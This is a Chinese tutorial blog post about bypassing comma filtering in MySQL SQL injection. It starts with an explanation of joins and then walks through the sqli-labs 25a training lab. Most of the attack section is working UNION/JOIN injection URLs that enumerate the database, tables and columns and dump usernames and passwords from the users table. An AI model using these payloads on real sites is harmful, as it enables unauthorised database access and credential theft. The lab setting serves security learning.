MySQL-逗号过滤

#需求:查询users表用户的emails都是多少

1.未使用join前

SELECT u . * , e . *
FROM users u, emails e
WHERE u.id = e.id

 

 比如Security这个数据库有emails和users两张数据表

users这张数据表放有用户名(usernmae)和密码(password)的数据信息

 

而emails这张数据库则放有邮箱(emails)信息 

 现在有个需求,想查询users表的用户信息和emails表的邮箱信息都是多少

这时时候你会发现,你需要查询两张表。因为用户信息再users表,而邮箱信息再emails表

再phpmyadmin的面板中到Security的数据库中输入以上的内容

 1.select u.*,e.* :     

(u.代表的是users这张表的别名,*代表的是所有字段。e.代表的是emailis这张表的别名。*代表所有字段。意思就是查询这两张表的所有字段(列)信息)

2.From users u,emails  e :

(从users表和emails表中去找 ,users表对应的别名是"u",emails表对应的别名是"e")

3.where e.id=u.id:

(where代表的是限定条件。限定条件从emails这张表的(id)字段信息和users表的(id)字段信息)

因为如果要一起外联查询的话,必须有这两张表的相同字段信息,再security这个数据库中,那么相同的字段信息就是id。

 

 

点击执行。

 

此时我们就可以看到查询出了user表和emails表所有的字段信息了 

 2.使用Join进行内联查询

select u.*,e.*

from users u join emails e on u.id=e.id;

 

输入以上代码进行执行

 

 

 此时就可以看出达到的效果和未使用join前也就是外联查询的效果是一样的

3.join绕过逗号限制的原理 

未时候join:

union select 1,2,3

使用join:

union select * from (select 1)a join (select 2)b join (select 3)c

 未使用join进行查询

先输入以上的查询指令,进行执行

 

使用join进行查询

 

输入以上内容进行执行

 

发现回显的结果和未使用join查询是一致的,那么就可以使用join代替,进行绕过

语句:

union select * from  (select 1)a join (select 2)b join (select 3)c;

这里的abc代表的是起的别名,中间使用join分隔就行,实际情况下他有几个字段你就写资格字段,然后起个别名就行。

如果有五个字段那么就是

Union select *from (select 1)a join (select 2)b join (select 3)c join (select 4)d jion (select 5)e;

以此类推

4.使用join注入 

案例演示sqli-labs-25a

这里我用的是25a的源代码,再里面添加了一个,逗号的过滤,如果你们要实验的话,就把前面的两行注释掉,添加上我加入的那一行就可以了

 这里为了节约时间,从代码里面看出她的源码是数字型,我就直接跳过前面的判断是数字型和字符型,直接从获取字段数开始测试了 !!!

1.获取字段数

  ?id=1 group by 3

 url:  ?id=1 group by 4

页面报错

  url:  ?id=1 group by 3

页面正常确定3个字段

2.确定显示的字段

?id=-1 union select * from  (select 1)a join (select 2)b join (select 3)c

 

确定当前回显字段为2,3 

3.获取数据库名

?id=-1  union select * from (select 1)a join (select 2)b join (select (database()))c

 

 当前数据库为security

4.获取表名

?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(table_name)from information_Schema.tables where table_schema=database())c

 

emails,

referers,

uagents,

users

以上为数据表 

5.获取所有字段

?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name='users')c

 

id,

username,

password 

所有字段

6.拖库 

获取username和password

获取 用户名

?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(username)from security.users)c

获取密码 

 ?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(password)from security.users)c

 

这里注意一下,平时我们获取两个字段一般都是

select group_concat(username'~~'password)from security.users

但是看红色的部分,他们是使用,逗号相隔的。但是再代码中我们已经把逗号进行过滤了

所以到他数据库的语句就变成了

select group_concat(username'~~'password)from security.users

这样命令就会出错,所以我们只能一个字段一个字段的获取。

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130083331